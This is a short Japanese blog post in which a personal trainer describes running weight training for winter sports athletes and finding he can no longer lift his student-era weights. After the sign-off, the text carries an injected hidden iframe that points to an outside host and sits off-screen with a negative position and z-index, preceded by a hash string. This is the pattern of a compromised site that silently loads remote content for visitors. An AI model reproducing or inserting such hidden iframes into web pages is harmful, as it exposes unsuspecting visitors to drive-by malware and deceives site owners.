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衰え

ビーグラントレーナーの金子です。

今日はウィンタースポーツの選手にウェイトトレーニングを行いました。

トレーニング終了後に自分でも少し行うと、学生の時に上がっていた重さが上がらない…

たまには重りを持った方がいいなと、改めて実感いたしました(^^;;

完!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe


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